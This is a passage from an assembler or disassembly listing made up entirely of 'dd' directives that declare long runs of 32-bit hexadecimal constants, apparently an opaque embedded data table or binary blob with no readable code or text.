		dd 8A8C4ADCh, 12A6607Ch, 0F200950h, 161B2E07h, 6385519Ch
		dd 0C2827930h, 42687104h, 19C0DE67h, 2B64EAB0h,	0C2219A29h
		dd 6D8DC174h, 6488D3BCh, 44F802EBh, 8FFE350Ah, 0F0564541h
		dd 0B3076501h, 0FD248C5Eh, 1916A87Ah, 1A44E437h, 0E300448Bh
		dd 23340CC7h, 5CA39D06h, 0A742DE99h, 91489CB0h,	0C6E100A0h
		dd 67112D1Eh, 1802A4A4h, 0D4A1308Fh, 0E0F45649h, 0A3385FFAh
		dd 60751774h, 1CEE4305h, 40B38603h, 24F41D26h, 8A051B0h
		dd 2D59041Ah, 0B56AC07Eh, 89E82878h, 96C6011h, 6D3307F3h
		dd 9398D526h, 47951446h, 0DD8A14h, 556B480Ch, 16FFCB03h
		dd 0F5670EAFh, 11192C02h, 58E5BCh, 0D71B617Dh, 6039FD2Ch
		dd 851EF9AEh, 5D82654Dh, 70B62011h, 2C1997E4h, 7A84C16h
		dd 27814A84h, 9D9EC40Ch, 0FC0C44BCh, 8878520h, 98ADC428h
		dd 80852C18h, 75D84058h, 0DB03B905h, 0A26F02BDh, 4406B225h
		dd 29C76F78h, 6C7F60C0h, 23007EF0h, 571B8B99h, 3DCB6431h
		dd 0BF2ABEEDh, 841EF8C8h, 0C9582CEBh, 743CA690h, 0EC9622C1h
		dd 69C83537h, 69BD7500h, 7BC6A043h, 77C100C9h, 202EBB19h
		dd 60B9797Fh, 2CACE280h, 2BCD797h, 0ADE68A4Fh, 0E0E1BAF2h
		dd 2CE33173h, 539E8990h, 0B13A80E4h, 0AA624EA0h, 0B0D3Ah
		dd 5FAD2F9Dh, 9EF7D6C6h, 0B0594770h, 8F96BF25h,	0CE4200BEh
		dd 80207427h, 651C8360h, 0BA03F8AAh, 0F45A1BE7h, 0C30804EAh
		dd 0F42AADE9h, 80095B4h, 7DD811B8h, 6518C296h, 30E2A936h
		dd 0B527BEB8h, 2F1D500h, 19B249F0h, 0F3E200FBh,	77F5EFE1h
		dd 80998092h, 403D8702h, 0E331C19Eh, 7D6E7E0h, 0A422FBEBh
		dd 0DF8EC005h, 0E49180BAh, 68281A00h, 32E46C4h,	0B3119C89h
		dd 902480C1h, 1F64A874h, 0D0BC9D20h, 0E415133Eh, 98D44DE0h
		dd 850050A3h, 0D1E2BDC9h
		dd 0BB03FA4Fh, 795918A0h, 1D582F7Ch, 0E5F0018h,	30CC2D41h
		dd 7F10067h, 21E3A204h,	50008419h, 2FF97B1Bh, 951F129Ch
		dd 9084F829h, 2096221Ah, 6B329DBCh, 8BD4901Fh, 0A2658D09h
		dd 0E0985A00h, 67250A28h, 5FD83918h, 40728340h,	350115B2h
		dd 1BBD5489h, 8C2D29B3h, 6A1FDF01h, 418D38D3h, 0FAF522ECh
		dd 17D6C048h, 80BB8312h, 9CA08CD4h, 0C3098493h,	1AD90CFh
		dd 1C1BD57Ch, 4CD8286Ah, 0A9D19800h, 0E61CD37Ah, 0CA32093Bh
		dd 0E84880AEh, 2202B7CBh, 593D64E4h, 1160D5B3h,	2C0FD9C1h
		dd 72AFFF80h, 41713B18h, 0BD7B0067h, 5BEC8E8Fh,	0CA2F3128h
		dd 0D6409094h, 0C1380061h, 85A83B72h, 0DC000F5Fh, 1A2F5AE8h
		dd 0E1DEB77h, 4DAC1EA0h, 2A3EB960h, 0AE00E79Ch,	0B5D06859h
		dd 91A085FAh, 0CF4480ACh, 0BA1A84FEh, 0F1751DF0h, 294F407Eh
		dd 2F469C40h, 57B663Fh,	0F91E9538h, 3A80090h, 30B62D83h
		dd 161A190Bh, 97CE4ECh,	4F932B0Dh, 20009859h, 37D3F38Ch
		dd 88120073h, 0ADC90581h, 0A0C091B0h, 67048C11h, 4050600Fh
		dd 0B8659072h, 9B85F214h, 7F0E0058h, 0AAADE884h, 56175A9Dh
		dd 8010B2C0h, 11A203D8h, 5BB80372h, 7FFD1916h, 0FE20BCF0h
		dd 60B44D2Dh, 7F9DAFF4h, 3E41C080h, 0A5EF34DAh,	18F17600h
		dd 0BD04B65Eh, 48814C8Bh, 1B2E9322h, 0EC600834h, 0BE06C28Ah
		dd 321344A4h, 0CD1D1005h, 10201898h, 6C8A4C8Ch,	18AF2525h
		dd 9AAF6B60h, 7AE0C68Eh, 6E1F2900h, 0C0C4D599h,	0C2BD091Dh
		dd 0CC02BA5Fh, 32260C9h, 6089291Eh, 2810D833h, 990763B9h
		dd 51194635h, 0C59A73F7h, 3C6925h, 9B15B347h, 3A53E4F4h
		dd 8100EB55h, 0D2AD188Ch, 0AE480B03h, 27D3C0ACh, 0EC44FD7h
		dd 4E5AB36Bh, 0DC67B880h, 69590C12h, 23F1087Ch,	0A981801Ch
		dd 559ACA06h, 0DA352E09h, 0C0C44Dh, 0B1AA8F1Ah,	33E0569Bh
		dd 7A9A6907h, 3930C1F8h, 0C3A9F9h, 8EBDBB8Dh, 90AA9DC7h
		dd 10970725h, 6F5574h, 7AB074CFh, 0EE600F06h, 0F5D29D12h
		dd 1757AE1Dh, 0E282498h, 0E67570FCh, 0D2D0D427h, 745692B5h
		dd 96A2990Eh, 0BE06837h, 7E0F17h, 9B61D23Dh, 76A865Ch
		dd 96FF4C00h, 6F8281B6h, 63FB2671h, 4F1091C0h, 609088h
		dd 4BBFB31h, 5ED41DE7h,	13C54D00h, 0A5D83EA6h, 0F5FF28E1h
		dd 80D891A0h, 0E2E60405h, 85051920h, 1196F6F8h,	0F91EFC32h
		dd 9D213B0h, 186880F0h,	0B50D0CCBh, 0F602A8D3h,	22867820h
		dd 1EB324Eh, 0C2149608h, 97209B08h, 1817D3E8h, 30312F2Ah
		dd 31B58D12h, 842C8194h, 0E46C0DC3h, 7D9FCC02h,	0E4805E42h
		dd 0DA75BCh, 0A377EDF3h, 5F640454h, 0D1C92900h,	25AEE0AFh
		dd 0D0951432h, 94706CCFh, 411B7008h, 7B14B0B4h,	13102F10h
		dd 0A4A28498h, 267416C7h, 0F144389Fh, 530D3EE2h, 0F907AF3Ah
		dd 0E0AB90ADh, 0C30B9E8Fh, 11129805h, 88EC9D15h, 5F602B82h
		dd 1140B056h, 0C2A998h,	0F412137Ch, 0DAD8A320h,	0DCB32801h
		dd 3AE8DF65h, 8E0B0023h, 0B17E95E3h, 0A46E7E00h, 3ED9D29h
		dd 4FEF2B1Bh, 74F8F9EBh, 0E04C8C12h, 0CDC8C0F8h, 0BE9D2Ch
		dd 2913B388h, 0FD8441BCh, 0D25CF0Ch, 0F6E7E88Bh, 0D59C2844h
		dd 0DADD0DCCh, 2E7898DEh, 0D1154C30h, 0D0B40114h, 25898352h
		dd 413EF343h, 0F2316035h, 1E5AB7BCh, 0C065A2CEh, 4B8C511h
		dd 56F6BD6Ch, 8514C148h, 44AC9986h, 0EE801189h,	0E8428C1Eh
		dd 0C83A3527h, 5C9A854h, 484EE044h, 8008ECA5h, 766845E2h
		dd 0F5375B0h, 0B2AE8844h, 0AD680356h, 2901EA29h, 27DEF6A7h
		dd 3ACC548Fh, 0B9B704Bh, 11B9257Eh, 0A25EC004h,	372B1E88h
		dd 0CC40E89Fh, 9FBA5AEBh, 0C581718h, 0D33830BDh, 0C906340h
		dd 8F038705h, 50A1FAB0h, 300050C2h, 0B1819117h,	9D0045C9h
		dd 4FB85503h, 5F9B1139h, 0D0C8209Ch, 0BD658A7Ah, 14CB1538h
		dd 93487D01h, 8036CB97h, 1AFF8E81h, 488B727Ch, 884AF022h
		dd 0CE1C942Ch, 0F800A16Ch, 0F0314524h, 0CBB0017Dh, 0E4E86621h
		dd 875C70B2h, 30C89F4Ah, 9942864Bh, 0E5B4205Eh,	0E03B54Fh
		dd 1B4113BCh, 96C3812Ch, 0CD803438h, 40E23FE6h,	3E1D75F6h
		dd 1700DE1Ah, 5E53FA28h, 42E509C5h, 0C4599F50h,	47487380h
		dd 2AB92Ch, 0F6347BEDh,	676D189Eh, 9516E890h, 2008E880h
		dd 41B8809Ch, 5657AC20h, 0C3F8ED00h, 1AABA8E7h,	0F9300779h
		dd 0CBFE9651h, 998DE100h, 199512BCh, 140C198Ch,	61294A84h
		dd 7C201D0h, 0C83181B7h, 846466B9h, 44B526F3h, 151A86ACh
		dd 9700392Ah, 0CD2F3607h, 4FAC25h, 4EA3E7B7h, 5FA8EC17h
		dd 0B8CF3E00h, 67E894F6h, 80254C73h, 7C8C2380h,	8E01502Dh
		dd 0C31289CBh, 0FED29A02h, 0BA004B08h, 84118DDAh, 349454E2h
		dd 80F53747h, 627FD420h, 42A201EDh, 291E503Ah, 0C224CCBAh
		dd 4B8C1A4Ch, 25991470h, 198BE94Dh, 0E4CEC198h,	0CEE86500h
		dd 6D88C2AFh, 2F7D2CA3h, 70E20200h, 0C4C211DEh,	0D6C01C5Ch
		dd 0FDDA97h, 0DF036F52h, 6EE4DB26h, 76BFAE00h, 0F2AD8F5Bh
		dd 9CF49C23h, 1E848059h, 0C6C3CF37h, 0E0E1A000h, 57672AB8h
		dd 5B087EBAh, 1664E82Eh, 747059F8h, 94D98303h, 2CC42524h
		dd 6400DF76h, 4143D1EDh, 0A0AE7F75h, 54EFF5DFh,	1A6FE463h
		dd 0C1CE17DEh, 8E96861h, 9894BD42h, 7E068907h, 0D1C3D9E0h
		dd 2ABEA8A3h, 0DBDD0EF0h, 0B8FC023h, 8B371CF2h,	0DC739D49h
		dd 0BC132413h, 1F006CECh, 690675A3h, 5F003F64h,	0CFC558D1h
		dd 50DF169Fh, 84229003h, 392D0F0Fh, 0BEB903FFh,	5403D840h
		dd 0AB102D47h, 6B0F5C64h, 941734h, 0A1D19E2h, 0AA8126B7h
		dd 93B200C9h, 0EAA21210h, 7BB3BB01h, 0DC0585F8h, 0AF80F422h
		dd 4286DCEh, 1DF27201h,	949D23EBh, 0D280B842h, 0B51C0FCCh
		dd 4501792Ah, 0C1AEB685h, 332BD124h, 15B700D0h,	4871B5D6h
		dd 743A0349h, 0C822CF46h, 0A8C15BA2h, 6CFC1532h, 0FDC43D80h
		dd 23009FD4h, 0E59040Ch, 4D60D6Bh, 807494CFh, 0F62F4FCBh
		dd 588AEF0h, 0BE5E15E8h, 8738C114h, 0B347392h, 289D630h
		dd 0E6E8F454h, 0B4B900CCh, 9AF0B59Fh, 32009E9Bh, 8D3FDD8Ch
		dd 63D458h, 0EE7DB6Bh, 0D0070C71h, 96EA3E3Bh, 0A4A3F890h
		dd 68236F00h, 5494E9A6h, 0CF082400h, 67E5B739h,	8F8404C6h
		dd 0A2291BC2h, 94285FB0h, 0B4FE1C60h, 0A995C010h, 0B89CCBA1h
		dd 90248B2Fh, 19290D68h, 0E0875512h, 5C86089Ah,	8C0A4F1h
		dd 0A1ADF44Dh, 6C9B9301h, 0BAF201CDh, 32FD331h,	0BBE32184h
		dd 6864D0C2h, 3280F099h, 0A9E8F30Ah, 1C4012E4h,	48D722h
		dd 0CF9F89D3h, 51AD7603h, 0A033B2F6h, 0BF988ED0h, 49840CA4h
		dd 6EDC4824h, 0CD7B24CAh, 609C0039h, 0DC669DB7h, 0E8CC124Bh
		dd 1220908Bh, 0C81106E7h, 530A0140h, 504D1BE8h,	719C8609h
		dd 880192E4h, 50098970h, 0E1FB381Bh, 0B47C1118h, 0ADAC0193h
		dd 0D6078457h, 8C019C6Ch, 0A3F48518h, 0C064BB35h, 97E14416h
		dd 0C00C8B5Ch, 0ACCA28C9h, 9EC00054h, 16B120C1h, 2257F83Fh
		dd 5BA610D4h, 122511h, 6FB4DFC6h, 10FD44h, 0B6983266h
		dd 0C06B0C5Fh, 0A0A1390Fh, 0DE7C03Eh, 632681h, 0C6BF0212h
		dd 41BAC4AEh, 0F86E1C13h, 85FB5C04h, 0F86708Ch,	0EAFCF2A9h
		dd 81E7BC62h, 480CAC42h, 9B4434D0h, 0ADF000ACh,	0ED48C193h
		dd 0E7249F75h, 0C640FC36h, 4FBF122Dh, 68BF804Ah, 231EC287h
		dd 0AD93CAFEh, 25BC08D8h, 3410F54Fh, 2D0096A5h,	219A0C64h
		dd 16903Dh, 970EE093h
		dd 0A01D82BCh, 9D8FAA16h, 48EC8CC8h, 881E5A86h,	0D143409Ah
		dd 907BA29Bh, 8E6C5E0Fh, 92B5A376h, 0A0D03F77h,	9A84825Ah
		dd 94CFB82Ch, 0F7A082FCh, 0F8C0AD57h, 0F309A38Bh, 79A6E8BBh
		dd 5C1A0028h, 4ED5DB2Ch, 0A14F9D03h, 0E9904363h, 84C0B15Eh
		dd 50049E92h, 7C00FFEAh, 480F3EBDh, 0F7D2716h, 0A9B42DB2h
		dd 9DC80BB6h, 800FF8D3h, 85F180FDh, 0C290CAh, 0F2B87437h
		dd 466E651Bh, 0CB62279h, 0E78BE802h, 57C8E4D2h,	77004084h
		dd 0B9520BE2h, 960353DCh, 4B0F5ED5h, 0AC17F597h, 4CB8E098h
		dd 0DE80C029h, 10D3462h, 70774300h, 0ECABFFD0h,	8C5D0478h
		dd 401C02C2h, 2B11BCE2h, 8B7C2Ch, 5B85ACFh, 2E9A8FF5h
		dd 75142250h, 0F64D8A00h, 6A4EA8AFh, 0F30927C5h, 2A825461h
		dd 0D638C420h, 0E57700A6h, 60BAD93Bh, 6EB8151Bh, 291C2D09h
		dd 20644EE7h, 345B8396h, 4B938040h, 1695A02h, 4D6BA197h
		dd 0E8015E26h, 367F54DEh, 0AEE7500Eh, 3EB7800Ch, 5080BBF8h
		dd 8A2CDDh, 0E1EE330Fh,	0F85AE009h, 4505A100h, 661DB127h
		dd 128517A5h, 0D88A1Fh,	9BBFEF14h, 0F4BB2266h, 0C72507F7h
		dd 0C7130CCEh, 0AECA3153h, 9BA2059h, 12BD0509h,	18389098h
		dd 3036008Ah, 0ADE842EEh, 349E3A2Ah, 18D4800Bh,	1F6A54B4h
		dd 0C1EFFFC3h, 0F7CF5F44h, 30EDFD95h, 0E4FDAD68h, 5A1EA689h
		dd 0FD09E994h, 1CA0C684h, 4C1A0EDEh, 9250C01Ch,	249F8727h
		dd 48CAE30h, 90330054h,	88640F2Ah, 6A7D7830h, 0C47B7D28h
		dd 1C04474Bh, 0CCA2BD9Dh, 90295400h, 52C785EFh,	1E629702h
		dd 74671107h, 601D4464h, 0BE9B8789h, 29574748h,	49928C24h
		dd 80889224h, 7A6B7E74h, 0EDA3001Dh, 607FC341h,	0AC0181B1h
		dd 0FAB9FF8Bh, 4EE0D4C5h, 10111439h, 182E3CBBh,	0E06C25C8h
		dd 41347701h, 0BE1594D3h, 0D1E405D9h, 9DBC2E1Dh, 0F1890EE6h
		dd 76DBC2C1h, 87743CACh, 5910D1B0h, 91B36F6h, 0ACF1B447h
		dd 914B9C82h, 4DC6B120h, 8BF000Ch, 0E85131BBh, 1F4AC2A3h
		dd 9215A821h, 12ABA010h, 12CC0C2Fh, 44E85E58h, 127C9C35h
		dd 14448441h, 0BFFCA4h,	48E1DAF0h, 73ABC5A2h, 4488964Ah
		dd 4BF8BBh, 0BFFB1C53h,	5F8626E3h, 0D7956105h, 20ECB09Ch
		dd 0B3E05280h, 0A4B0D2BDh, 16EA4F21h, 80A4E292h, 0E43B164Bh
		dd 957D1FF1h, 0B4251401h, 0FB320E80h, 0C30EA55Fh, 1DA31543h
		dd 0C770B9C0h, 16AA881h, 16764EA4h, 4823FA80h, 1201158Ch
		dd 45B96990h, 5C738414h, 23FB810Fh, 5A4400F1h, 74558077h
		dd 0F25E006Ah, 53B6E64Ah, 0EC3D935Dh, 91D982C8h, 798B3590h
		dd 17C60FACh, 9F99C8BDh, 8E7D0E89h, 84512030h, 0C8981B83h
		dd 0BB80C6E9h, 0A1A8B924h, 79EB010Ah, 4C2AF43h,	1A90E816h
		dd 7FAA380Bh, 0D8C4DEh,	22D00897h, 301D1EDh, 9A07E096h
		dd 0ABC507BCh, 0CB00C0B2h, 5330D915h, 0BF764614h, 0A07CD81Ch
		dd 0A5EB007Bh, 0AF0CC4D1h, 0E9F8ECEDh, 98BC206Fh, 0C0025397h
		dd 0CC6A921Bh, 0F164E2FAh, 4FF00004h, 48F26DE4h, 0A3EB3800h
		dd 0A6B66B1Bh, 9D0D7825h, 0A047FC90h, 0F2342402h, 64DF140Bh
		dd 97154E14h, 80C8F99Ch, 0B2075BE5h, 0FCB5F0E7h, 0C3342801h
		dd 0DE5E4980h, 0C1AF14FAh, 1E08EC3Dh, 0EF89FE51h, 0A47978h
		dd 6AC49B5Bh, 68B0BEA0h, 3C11F604h, 81EBAD76h, 30DE7319h
		dd 93421F90h, 51351402h, 500058CBh, 49074D7h, 0DE763811h
		dd 0BC549416h, 2663C04Ch, 0D539FDh, 0EFD05F4Fh,	7FAD20C5h
		dd 9CB81300h, 34308687h, 0B1849888h, 479EBCh, 26D2B084h
		dd 6700B96Dh, 3E070B6Eh, 0CAC78Dh, 0A6D789FAh, 879F09A0h
		dd 88883CE9h, 21086411h, 0EA5636h, 27673F1h, 0E1592D0Eh
		dd 0FCADEF0Dh, 5222FF89h, 48250074h, 826E56EFh,	550BD27Dh
		dd 51944642h, 0A3AC001Ch, 2AD837B7h, 2638F61Eh,	467B4500h
		dd 90A3F7Eh, 0FC1E536Fh, 38D1330Bh, 121A8900h, 4E126A1h
		dd 0DE8B5E4Eh, 2394A242h, 12C3049Ah, 0F8809466h, 1319C5B0h
		dd 0E1BB6D80h, 9A40004Ah, 7F0DF218h, 57171BC8h,	0DC8C8799h
		dd 70820046h, 0A36F1128h, 370435ABh, 0D4BBE46Eh, 900ACB2h
		dd 0C10471D3h, 2A000D3Eh, 6D5978FFh, 77D19591h,	7A030A7Fh
		dd 5850DEh, 52200797h, 1C1A761Dh, 59CC19F2h, 0A20A009Ch
		dd 0B12B4DAh, 0D9906704h, 47C0731Eh, 13171B22h,	899CD37h
		dd 0B2801628h, 858A7AA7h, 20E800BAh, 154D96E1h,	0C025E1Dh
		dd 881D1F1h, 144422h, 0F09690A5h, 788485F8h, 71F4D4Ch
		dd 1F3EA22Fh, 632521BFh, 0B423EECCh, 369412h, 2A522CA9h
		dd 51348C07h, 0BC00518Fh, 0C5E028ECh, 0E73E023Fh, 0B80817D3h
		dd 347AF4E2h, 77B4334Dh, 39E30734h, 0DC8000ACh,	0AB654D4Ch
		dd 41FC2600h, 0E9B260C1h, 116E1EC0h, 0E182003Fh, 96F4A467h
		dd 1B6280BCh, 5512112Fh, 0C43CB8CCh, 0AA80E19Fh, 0F142ADh
		dd 0C55EB56Ch, 9A7BED25h, 0C482F325h, 58420314h, 591CF295h
		dd 15DE66D8h, 0E8861E2Ch, 0CEF367E0h, 0D11A39A8h, 52790500h
		dd 0F0456F80h, 67A2C809h, 0A8B0B4Fh, 0B8584420h, 0BC6C0199h
		dd 1DF9473Bh, 0AB7AC06Ah, 6025DD05h, 0C217DFh, 0E05CD4BCh
		dd 774A817Ch, 3ABD900h,	45C5001h, 0B34F00F7h, 0B44153D8h
		dd 2978907Bh, 0FA547F38h, 0ED95EA07h, 3E40E9E6h, 0A7025Eh
		dd 4C6BF5A3h, 0A4F67F67h, 51B43701h, 0EA4E3D1Eh, 622BAF8h
		dd 4ABF3FB2h, 10F838F8h, 0B5511904h, 0FD8002AFh, 305EA803h
		dd 5821F14Ch, 0B3B0E0EBh, 0C17BBF00h, 0B3DE53D7h, 0C02E7FCAh
		dd 0E165B589h, 0D90001FEh, 6233AE9Dh, 60FB9230h, 0B20DC071h
		dd 51601C7Fh, 41964F31h, 0F4D379FCh, 0C2D118C6h, 0FFE570FAh
		dd 86B1CE6Fh, 0F83050CBh, 16C901AEh, 19BA4BF9h,	0F816FF9Bh
		dd 0D91DB45Eh, 1175DDC6h, 63F50761h, 0A0E8C9B3h, 7930B7D4h
		dd 8F329C8h, 340D5270h,	3EC09149h, 0AD9201C5h, 0A33DFC6Ch
		dd 0F915FCE8h, 41704961h, 0D400EA51h, 0E9006352h, 0C152143h
		dd 7CA2DC29h, 51F34C77h, 53A06062h, 90EB3002h, 0BB7D0h
		dd 11BDBBD8h, 5CFC1264h, 0D3403400h, 0DE742557h, 0CB8AB7Ah
		dd 0D8B472C0h, 6917DD80h, 5B11D1C8h, 3CC0E84h, 0C729C076h
		dd 3A5BD374h, 0F3013C25h, 434F4DA5h, 51488C9Bh,	0AA51B8h
		dd 0FFEBCA7Eh, 0AD532108h, 0FAC85828h, 90627705h, 84402334h
		dd 0F28A4298h, 0CAEF035Ah, 810BE3A7h, 51A86998h, 70799E30h
		dd 606C4E9Dh, 0C7CAB17Eh, 0D4A952D6h, 8F9C4B0h,	1500B47Ch
		dd 0E0FCD914h, 32E4D321h, 5DA8733Ch, 1967602h, 8A1C387Fh
		dd 98F9ED81h, 0C2899D80h, 0DC9C72h, 0C3EC8D23h,	0E2F62460h
		dd 7E649700h, 14D5A412h, 222090F5h, 322E9B7h, 4A3430C7h
		dd 6CFB959h, 271F7F00h,	84B820B4h, 2FE1056Ah, 46D875DEh
		dd 31CCC6D8h, 69523E06h, 22206CE1h, 0D8285468h,	25234E5h
		dd 0D38840D8h, 0F612F742h, 2CA40772h, 0AC7BD073h, 0F20048AEh
		dd 4B964CF5h, 0C0EBEAFFh, 0E2859149h, 0D101CCD4h, 0D3C81C36h
		dd 0CC5D75FCh, 1CC196F8h, 0C3C7EDh, 62A50172h, 0A91D15A1h
		dd 2424A438h, 693C9D0Eh, 0A1C0FD7h, 23118C52h, 0FCE5AE03h
		dd 1150E2EAh, 5B707E46h, 2F692201h, 0FD53831Fh,	4D9956C0h
		dd 4F08042Dh, 7F86F26Bh, 0A8915251h, 984430BCh,	12153C50h
		dd 4CFC4B8Fh, 0C198469h, 6A6908CFh, 0A94D8E7h, 3AAC141Ch
		dd 57613444h, 0D6293D59h, 0B34030h, 0AD7410E1h,	5BF591AFh
		dd 0A397DC00h, 55339E98h
		dd 0D4512AB3h, 5F0213F4h, 758EAC2Eh, 25D03C2Eh,	115CF814h
		dd 750E5446h, 26A1CAB8h, 0C05C44D4h, 0F57AD840h, 0EE8F24h
		dd 12F0523Fh, 0C8639CFEh, 2888B47Fh, 29CF60EDh,	0E6E74748h
		dd 22027BE0h, 207F5440h, 10E311F3h, 0FA033259h,	41761F1Ch
		dd 2DB24023h, 674A4EEh,	8050613Fh, 561A4F64h, 0FCA348CEh
		dd 0D9D21852h, 8B4CF058h, 409FD1CFh, 0E6839E2Fh, 76970F11h
		dd 0BA4BFAACh, 82887h, 0DA177C89h, 0DE5C3004h, 70913D7Bh
		dd 37102234h, 0A10042CBh, 9D315917h, 7A835Bh, 3DC4E83Bh
		dd 0FE3AF6B4h, 0FBE36404h, 0F208CE55h, 0AD7EEA40h, 0D9C101B4h
		dd 0D2C6FAB3h, 4BE98CFBh, 0F6E02985h, 251B0059h, 1821CE77h
		dd 76003363h, 2AC3EACBh, 3C7EBFCh, 0C11C03B9h, 6810E484h
		dd 0C09FF565h, 0DDDC39FEh, 512A0380h, 0ABFCF8CFh, 7D1FC205h
		dd 0F004BB18h, 4F02542Bh, 0FC908767h, 94B12338h, 0DC8BC040h
		dd 17521D3Fh, 0CD29C0BCh, 0DA4BD3FDh, 8EEE39C0h, 0A0FB5B98h
		dd 1F3F5744h, 0DBCC2E36h, 92E44966h, 5B20DEA8h,	0D03CE0B2h
		dd 0F2228489h, 8587A700h, 0B313BD81h, 0D3B41361h, 9D0800A9h
		dd 0E5C9EDCAh, 88DDAC26h, 0A82EA44h, 0D5E04BE2h, 80832808h
		dd 0E80866A3h, 0F403BAE3h, 39AE3370h, 7320B935h, 6C4FF188h
		dd 5F52D0B0h, 0D1502AE7h, 0D21F00A0h, 2CF42DDCh, 0CC03216Ah
		dd 0C679AECEh, 0E422E5D0h, 0BB74278Ch, 0F3832900h, 86E635B0h
		dd 0AA259100h, 8E4B7DFFh, 5ABF1A1Ah, 8C90B0E9h,	0E817F652h
		dd 6401403Bh, 0CC03DE57h, 4F34818Ch, 651E89A9h,	604008A0h
		dd 0D10F6A3h, 0EF8B01A2h, 4EC9B769h, 0C0AC324Dh, 0CF4C735Ch
		dd 0E418C597h, 906C00C7h, 6D1E05A6h, 0DBD4400h,	275B3FCAh
		dd 0AA190CD4h, 38795534h, 0F00A6D00h, 9E14774Fh, 0F6AD30ECh
		dd 4DBA3F68h, 3D295364h, 445084C8h, 0D3E0CA7Dh,	92E03B12h
		dd 81EA5808h, 0E6BF53C9h, 3226D17Eh, 0D4A68000h, 0C8C48Eh
		dd 0FC876929h, 61542760h, 0AD82A40Fh, 643777DCh, 60D8A4C8h
		dd 0ECB410E3h, 1386500h, 0CC1D36CFh, 0B21803B1h, 804BA192h
		dd 80C2893Bh, 0FA5D71E0h, 530A97h, 0D7CE629Ah, 9949D3F5h
		dd 3058C9E8h, 9EF40C14h, 5C51183Ah, 0C3323419h,	0A0644B71h
		dd 4D678A01h, 21349A80h, 3C3D7024h, 917CF20Dh, 8EE58634h
		dd 94892196h, 3C0222Eh,	52BC86E8h, 2693C8B3h, 9C2D0744h
		dd 60CCB689h, 69AD1203h, 1927C3Ch, 1FEC15D3h, 61D653DCh
		dd 3610C7F4h, 0AC00D626h, 0F1C3E8BEh, 5E0F37h, 61B73A2Ah
		dd 92D0FCBBh, 4AE0F561h, 38281ABAh, 0D80254C9h,	0D720FAC1h
		dd 0FDE568Fh, 3BC8F5F1h, 0B3E65301h, 0F01ED1E2h, 9C94D2FFh
		dd 3B0EEC40h, 2A8D32Fh,	16DC21B5h, 1C7EF8E0h, 5E694C64h
		dd 4E881880h, 0FCEC0B8Eh, 0E08221D3h, 0AC91DED6h, 63A310BAh
		dd 33FFAF1h, 61CC4657h,	0C7C8828Ch, 6B242122h, 0DD1120CFh
		dd 861C794Ch, 2CC08351h, 6D07F1Fh, 750621E4h, 0FCA61687h
		dd 5C54B059h, 0FEC564D2h, 4128C38Fh, 4844D3E2h,	8EE0465Ch
		dd 7BBE205Ch, 8B5FDBh, 4382B612h, 141BC9BCh, 197ECD12h
		dd 0B0849C24h, 9C002C8Dh, 9777C40h, 0AD9ACB5Ah,	9BB3CC03h
		dd 0D3AF2102h, 0E1463A14h, 4315DCF8h, 0BB0459A0h, 12866AB9h
		dd 0F7F49052h, 536707C6h, 100827E0h, 39C389E3h,	0B80C9DE4h
		dd 58D59EC9h, 9AD848C7h, 34C03C4Dh, 35FB632Ch, 0B5A6E900h
		dd 268EC0F0h, 4177418h,	2389281Ch, 0BE808046h, 0A1C4394Dh
		dd 5E40958Ch, 0D9EF993h, 4AD47604h, 4481F81Fh, 80043EBDh
		dd 30E125DCh, 0BCA9EB2Ah, 827C4B5Ch, 0C0126F91h, 213AB80h
		dd 0D2389845h, 0E4C09F10h, 0EA88FEDEh, 40EC4AA1h, 30847328h
		dd 3F032E72h, 0C757644Dh, 0DD61E09Dh, 0E5E90AF1h, 8090CB50h
		dd 0ECD5042Dh, 5201D185h, 0ABF3EE90h, 44E57AC0h, 26C168CCh
		dd 16C8A9E1h, 548280Dh,	0CBBFF900h, 62227367h, 38E4A0B2h
		dd 0FA5601BAh, 91ECFDB3h, 5DC8607Eh, 26767890h,	2868E801h
		dd 0C774C3E6h, 0C2B44CC8h, 50527F51h, 0F8E21044h, 0E44DE28Bh
		dd 6858BCh, 0F50FCF22h,	0CED8B473h, 78099F0Eh, 8C4C10ECh
		dd 0AEE075h, 9A856C8Eh,	5FFF9DAAh, 1A7F9805h, 480B09Bh
		dd 3A4FD475h, 0BB04689Ch, 0C08AEE08h, 0E7F3FDAAh, 0B48F4E06h
		dd 1E28F5C5h, 121EA6B1h, 86BE0BEFh, 15F23491h, 6CCCEC85h
		dd 293001CDh, 0CFC7C925h, 0E5998BCCh, 0C6D011FFh, 17317CF3h
		dd 59FDC56h, 4CE7652h, 8324C870h, 0E0E20930h, 0F4103C62h
		dd 8C772784h, 0C528B709h, 1C2C085Fh, 0C9F9BF00h, 284F9811h
		dd 10CE44Ah, 0B4ACBB36h, 2118F745h, 0FCB830CCh,	0B1D8C618h
		dd 0C595B89h, 88694D14h, 0B8B151D9h, 0B8B2B00h,	72F90ACh
		dd 0EEC05082h, 0ED83F093h, 0C412E435h, 68CCDDABh, 7F9B0F77h
		dd 0B9FAEB20h, 577D5040h, 8800B175h, 0DC522CCFh, 34DDD1BCh
		dd 6040A9AFh, 64D74380h, 0DC205900h, 0E98D07C7h, 56A90930h
		dd 0C2F1BE4h, 0E2D7D101h, 66B0609Bh, 0AFE09741h, 0B0E12CFCh
		dd 415760D8h, 8558824Bh, 0A8F91DFEh, 0DC400CEEh, 1828397Bh
		dd 0B8761720h, 0AC30FB19h, 515888A3h, 0B399C0C5h, 8B163482h
		dd 154D2C00h, 0F27843CFh, 5A19883h, 0BB72F765h,	0A45805C9h
		dd 0DEAC8CAAh, 0D969CE00h, 72200217h, 0CC3F47Ch, 242D0E5Eh
		dd 0A900D7A9h, 40A40C21h, 7724E68h, 6A01C4C2h, 0EB3491E8h
		dd 3FA850CEh, 0FB0039E6h, 0D2F5B761h, 5411E25h,	8F03F8D9h
		dd 837C9874h, 0E00008E0h, 9352AD24h, 33FC65h, 0D43746C1h
		dd 0BC01197Ah, 9803977Bh, 0EB6004B3h, 496900E1h, 4AA75E7Ah
		dd 0F3F22C21h, 730C6E02h, 0E41B7FBCh, 0B5461774h, 0E73808E1h
		dd 0EF15E580h, 0B2AFDAh, 0F13DF221h, 0C923CA61h, 84432D4Bh
		dd 88D31258h, 483854C6h, 0C9024183h, 44575CF5h,	0BF00C071h
		dd 59CE4E84h, 28581F9Fh, 0CDBB8068h, 0A4C8563Dh, 0E446CA13h
		dd 0A8141023h, 139D28C5h, 2351B2B0h, 0B0F7037Ch, 5C5A6E27h
		dd 0F16BF628h, 0D8DF5000h, 88CBBCB7h, 4EC1C04Bh, 24EA1CD4h
